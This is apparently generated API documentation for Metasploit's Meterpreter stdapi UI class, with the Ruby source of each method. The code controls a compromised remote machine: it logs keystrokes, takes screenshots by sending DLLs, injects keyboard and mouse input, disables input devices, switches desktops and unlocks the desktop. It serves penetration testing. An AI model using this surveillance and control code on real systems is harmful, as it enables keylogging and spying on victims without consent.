Class: Rex::Post::Meterpreter::Extensions::Stdapi::UI

Inherits:
UI
  • Object
show all
Includes:
ObjectAliasesContainer
Defined in:
lib/rex/post/meterpreter/extensions/stdapi/ui.rb

Overview

Allows for interacting with the user interface on the remote machine, such as by disabling the keyboard and mouse.

WARNING:

Using keyboard and mouse enabling/disabling features will result in a DLL file being written to disk.

Instance Attribute Summary collapse

Attributes included from ObjectAliasesContainer

#aliases

Instance Method Summary collapse

Methods included from ObjectAliasesContainer

#dump_alias_tree, #initialize_aliases, #method_missing

Constructor Details

#initialize(client) ⇒ UI

Initializes the post-exploitation user-interface manipulation subsystem.


35
36
37
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 35

def initialize(client)
  self.client = client
end

Dynamic Method Handling

This class handles dynamic methods through the method_missing method in the class Rex::Post::Meterpreter::ObjectAliasesContainer

Instance Attribute Details

#clientObject (protected)

:nodoc:


312
313
314
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 312

def client
  @client
end

Instance Method Details

#disable_keyboardObject

Disable keyboard input on the remote machine.


48
49
50
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 48

def disable_keyboard
  return enable_keyboard(false)
end

#disable_mouseObject

Disable mouse input on the remote machine.


68
69
70
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 68

def disable_mouse
  return enable_mouse(false)
end

#enable_keyboard(enable = true) ⇒ Object

Enable keyboard input on the remote machine.


55
56
57
58
59
60
61
62
63
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 55

def enable_keyboard(enable = true)
  request = Packet.create_request(COMMAND_ID_STDAPI_UI_ENABLE_KEYBOARD)

  request.add_tlv(TLV_TYPE_BOOL, enable)

  client.send_request(request)

  return true
end

#enable_mouse(enable = true) ⇒ Object

Enable mouse input on the remote machine.


75
76
77
78
79
80
81
82
83
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 75

def enable_mouse(enable = true)
  request = Packet.create_request(COMMAND_ID_STDAPI_UI_ENABLE_MOUSE)

  request.add_tlv(TLV_TYPE_BOOL, enable)

  client.send_request(request)

  return true
end

#enum_desktopsObject

Enumerate desktops.


100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 100

def enum_desktops
  request  = Packet.create_request(COMMAND_ID_STDAPI_UI_DESKTOP_ENUM)
  response = client.send_request(request)
  desktopz = []
  if( response.result == 0 )
    response.each( TLV_TYPE_DESKTOP ) { | desktop |
    desktopz << {
        'session' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_SESSION ),
        'station' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_STATION ),
        'name'    => desktop.get_tlv_value( TLV_TYPE_DESKTOP_NAME )
      }
    }
  end
  return desktopz
end

#get_desktopObject

Get the current desktop meterpreter is using.


119
120
121
122
123
124
125
126
127
128
129
130
131
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 119

def get_desktop
  request  = Packet.create_request( COMMAND_ID_STDAPI_UI_DESKTOP_GET )
  response = client.send_request( request )
  desktop  = {}
  if( response.result == 0 )
    desktop = {
        'session' => response.get_tlv_value( TLV_TYPE_DESKTOP_SESSION ),
        'station' => response.get_tlv_value( TLV_TYPE_DESKTOP_STATION ),
        'name'    => response.get_tlv_value( TLV_TYPE_DESKTOP_NAME )
      }
  end
  return desktop
end

#idle_timeObject

Returns the number of seconds the remote machine has been idle from user input.


89
90
91
92
93
94
95
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 89

def idle_time
  request = Packet.create_request(COMMAND_ID_STDAPI_UI_GET_IDLE_TIME)

  response = client.send_request(request)

  return response.get_tlv_value(TLV_TYPE_IDLE_TIME);
end

#keyboard_send(keys) ⇒ Object

Send keystrokes


260
261
262
263
264
265
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 260

def keyboard_send(keys)
  request  = Packet.create_request(COMMAND_ID_STDAPI_UI_SEND_KEYS)
  request.add_tlv( TLV_TYPE_KEYS_SEND, keys )
  client.send_request(request)
  return true
end

#keyevent_send(key_code, action = 0) ⇒ Object

Send key events


270
271
272
273
274
275
276
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 270

def keyevent_send(key_code, action = 0)
  key_data = [ action, key_code ].pack("VV")
  request = Packet.create_request(COMMAND_ID_STDAPI_UI_SEND_KEYEVENT)
  request.add_tlv( TLV_TYPE_KEYEVENT_SEND, key_data )
  client.send_request(request)
  return true
end

#keyscan_dumpObject

Dump the keystroke buffer


251
252
253
254
255
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 251

def keyscan_dump
  request  = Packet.create_request(COMMAND_ID_STDAPI_UI_GET_KEYS_UTF8)
  response = client.send_request(request)
  return response.get_tlv_value(TLV_TYPE_KEYS_DUMP);
end

#keyscan_start(trackwindow = false) ⇒ Object

Start the keyboard sniffer


232
233
234
235
236
237
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 232

def keyscan_start(trackwindow=false)
  request  = Packet.create_request(COMMAND_ID_STDAPI_UI_START_KEYSCAN)
  request.add_tlv( TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW, trackwindow )
  client.send_request(request)
  return true
end

#keyscan_stopObject

Stop the keyboard sniffer


242
243
244
245
246
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 242

def keyscan_stop
  request  = Packet.create_request(COMMAND_ID_STDAPI_UI_STOP_KEYSCAN)
  client.send_request(request)
  return true
end

#mouse(mouseaction, x = -1,, y = -1)) ⇒ Object

Mouse input


281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 281

def mouse(mouseaction, x=-1, y=-1)
  request  = Packet.create_request(COMMAND_ID_STDAPI_UI_SEND_MOUSE)
  action = 0
  case mouseaction
  when "move"
    action = 0
  when "click", "tap", "leftclick"
    action = 1
  when "down", "leftdown"
    action = 2
  when "up", "leftup"
    action = 3
  when "rightclick"
    action = 4
  when "rightdown"
    action = 5
  when "rightup"
    action = 6
  when "doubleclick"
    action = 7
  else
    action = mouseaction.to_i
  end
  request.add_tlv( TLV_TYPE_MOUSE_ACTION, action )
  request.add_tlv( TLV_TYPE_MOUSE_X, x.to_i )
  request.add_tlv( TLV_TYPE_MOUSE_Y, y.to_i )
  client.send_request(request)
  return true
end

#screenshot(quality = 50) ⇒ Object

Grab a screenshot of the interactive desktop


154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 154

def screenshot( quality=50 )
  request = Packet.create_request( COMMAND_ID_STDAPI_UI_DESKTOP_SCREENSHOT )
  request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )

  if client.platform == 'windows'
    # Check if the target is running Windows 8/Windows Server 2012 or later and there are session 0 desktops visible.
    # Session 0 desktops should only be visible to services. Windows 8/Server 2012 and later introduce the restricted
    # desktop for services, which means that services cannot view the normal user's desktop or otherwise interact with
    # it in any way. Attempting to take a screenshot from a service on these systems can lead to non-desireable
    # behavior, such as explorer.exe crashing, which will force the compromised user to log back into their system
    # again. For these reasons, any attempt to perform screenshots under these circumstances will be met with an error message.
    opSys = client.sys.config.sysinfo['OS']
    build = opSys.match(/Build (\d+)/)
    if build.nil?
      raise RuntimeError, 'Could not determine Windows build number to determine if taking a screenshot is safe.', caller
    else
      build_number = build[1].to_i
      if build_number >= 9200 # Windows 8/Windows Server 2012 and later
        current_desktops = enum_desktops
        current_desktops.each do |desktop|
          if desktop["session"].to_s == '0'
            raise RuntimeError, 'Current session was spawned by a service on Windows 8+. No desktops are available to screenshot.', caller
          end
        end
      end
    end

    # include the x64 screenshot dll if the host OS is x64
    if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
      screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x64.dll')
      if screenshot_path.nil?
        raise RuntimeError, "screenshot.x64.dll not found", caller
      end

      screenshot_dll  = ''
      ::File.open( screenshot_path, 'rb' ) do |f|
        screenshot_dll += f.read( f.stat.size )
      end

      request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true )
    end

    # but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
    screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x86.dll')
    if screenshot_path.nil?
      raise RuntimeError, "screenshot.x86.dll not found", caller
    end

    screenshot_dll  = ''
    ::File.open( screenshot_path, 'rb' ) do |f|
      screenshot_dll += f.read( f.stat.size )
    end

    request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true )
  end

  # send the request and return the jpeg image if successfull.
  response = client.send_request( request )
  if( response.result == 0 )
    return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT )
  end

  return nil
end

#set_desktop(session = -1,, station = 'WinSta0', name = 'Default', switch = false) ⇒ Object

Change the meterpreters current desktop. The switch param sets this new desktop as the interactive one (The local users visible desktop with screen/keyboard/mouse control).


138
139
140
141
142
143
144
145
146
147
148
149
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 138

def set_desktop( session=-1, station='WinSta0', name='Default', switch=false )
  request  = Packet.create_request( COMMAND_ID_STDAPI_UI_DESKTOP_SET )
  request.add_tlv( TLV_TYPE_DESKTOP_SESSION, session )
  request.add_tlv( TLV_TYPE_DESKTOP_STATION, station )
  request.add_tlv( TLV_TYPE_DESKTOP_NAME, name )
  request.add_tlv( TLV_TYPE_DESKTOP_SWITCH, switch )
  response = client.send_request( request )
  if( response.result == 0 )
    return true
  end
  return false
end

#unlock_desktop(unlock = true) ⇒ Object

Unlock or lock the desktop


222
223
224
225
226
227
# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 222

def unlock_desktop(unlock=true)
  request  = Packet.create_request(COMMAND_ID_STDAPI_UI_UNLOCK_DESKTOP)
  request.add_tlv(TLV_TYPE_BOOL, unlock)
  client.send_request(request)
  return true
end